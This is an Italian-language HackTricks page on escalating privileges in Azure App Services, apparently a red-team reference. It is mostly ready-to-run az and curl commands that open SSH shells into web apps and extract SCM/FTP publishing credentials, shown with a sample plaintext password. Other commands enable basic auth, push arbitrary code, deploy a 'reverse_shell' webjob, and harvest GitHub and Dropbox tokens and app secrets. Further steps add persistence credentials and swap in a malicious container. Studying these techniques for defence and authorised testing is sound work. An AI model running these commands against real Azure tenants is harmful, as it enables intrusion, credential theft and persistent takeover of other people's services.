Az - App Services Privesc

Reading time: 11 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

App Services

Per ulteriori informazioni sui servizi App di Azure, controlla:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

Queste autorizzazioni consentono di ottenere una SSH shell all'interno di un'app web. Consentono anche di debuggare l'applicazione.

  • SSH in un singolo comando:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • Crea un tunnel e poi connettiti a SSH:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • Debugga l'applicazione:
  1. Installa l'estensione Azure in VScode.
  2. Accedi all'estensione con l'account Azure.
  3. Elenca tutti i servizi App all'interno dell'abbonamento.
  4. Seleziona il servizio App che desideri debugare, fai clic destro e seleziona "Inizia Debugging".
  5. Se l'app non ha il debug abilitato, l'estensione cercherà di abilitarlo, ma il tuo account ha bisogno del permesso Microsoft.Web/sites/config/write per farlo.

Ottenere le credenziali SCM e abilitare l'autenticazione di base

Per ottenere le credenziali SCM, puoi utilizzare i seguenti comandi e permessi:

  • Il permesso Microsoft.Web/sites/publishxml/action consente di chiamare:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

Nota come il nome utente è sempre lo stesso (eccetto in FTP che aggiunge il nome dell'app all'inizio) ma la password è la stessa per tutti.

Inoltre, l'URL SCM è <app-name>.scm.azurewebsites.net.

  • Il permesso Microsoft.Web/sites/config/list/action consente di chiamare:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

Nota come le credenziali sono le stesse di quelle del comando precedente.

  • Un'altra opzione sarebbe impostare le proprie credenziali e usarle:
bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

Poi, puoi usare queste credenziali per accedere alle piattaforme SCM e FTP. Questo è anche un ottimo modo per mantenere la persistenza.

Ricorda che per accedere alla piattaforma SCM dal web devi accedere a <SCM-URL>/BasicAuth.

warning

Nota che ogni utente può configurare le proprie credenziali chiamando il comando precedente, ma se l'utente non ha abbastanza permessi per accedere a SCM o FTP, le credenziali non funzioneranno.

  • Se vedi che quelle credenziali sono REDACTED, è perché devi abilitare l'opzione di autenticazione di base SCM e per questo hai bisogno del secondo permesso (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

Pubblica codice utilizzando le credenziali SCM

Avere semplicemente credenziali SCM valide consente di pubblicare codice nel servizio App. Questo può essere fatto utilizzando il seguente comando.

Per questo esempio in python, puoi scaricare il repo da https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apportare le modifiche che desideri e poi zipparlo eseguendo: zip -r app.zip ..

Poi puoi pubblicare il codice in un'app web con il seguente comando:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | Credenziali SCM

Il permesso Azure menzionato consente di eseguire diverse azioni interessanti che possono essere eseguite anche con le credenziali SCM:

  • Leggere i log di Webjobs:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Leggi il codice sorgente di Webjobs:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • Crea Webjob continuo:
bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Queste autorizzazioni consentono di assegnare un'identità gestita al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo permetterà all'attaccante di assegnare nuove identità gestite al servizio App e escalare i privilegi su di esse.

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

Questo permesso consente di elencare le connection strings e le appsettings del servizio App che potrebbero contenere informazioni sensibili come le credenziali del database.

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Leggi le credenziali di terze parti configurate

Eseguendo il seguente comando è possibile leggere le credenziali di terze parti configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.

Ecco alcuni esempi di comandi per controllare i token:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Aggiornare il codice dell'app dalla sorgente

  • Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Repository Azure, puoi aggiornare il codice del servizio App compromettendo il codice sorgente nel repository.
  • Se l'app è configurata utilizzando un repository git remoto (con nome utente e password), è possibile ottenere l'URL e le credenziali di autenticazione di base per clonare e inviare modifiche con:
  • Utilizzando il permesso Microsoft.Web/sites/sourcecontrols/read: az webapp deployment source show --name <app-name> --resource-group <res-group>
  • Utilizzando il permesso Microsoft.Web/sites/config/list/action:
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • Se l'app è configurata per utilizzare un repository git locale, è possibile clonare il repository e inviare modifiche ad esso:
  • Utilizzando il permesso Microsoft.Web/sites/sourcecontrols/read: Puoi ottenere l'URL del repository git con az webapp deployment source show --name <app-name> --resource-group <res-group>, ma sarà lo stesso dell'URL SCM dell'app con il percorso /<app-name>.git (ad esempio https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git).
  • Per ottenere le credenziali SCM hai bisogno del permesso:
  • Microsoft.Web/sites/publishxml/action: Quindi esegui az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.
  • Microsoft.Web/sites/config/list/action: Quindi esegui az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>

warning

Nota che avere il permesso Microsoft.Web/sites/config/list/action e le credenziali SCM rende sempre possibile distribuire in un webapp (anche se era configurato per utilizzare un fornitore di terze parti) come menzionato in una sezione precedente.

warning

Nota che avere i permessi sottostanti rende anche possibile eseguire un container arbitrario anche se il webapp era configurato diversamente.

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

Questo è il set di permessi che consente di modificare il container utilizzato da un webapp. Un attaccante potrebbe abusarne per far eseguire a un webapp un container malevolo.

bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks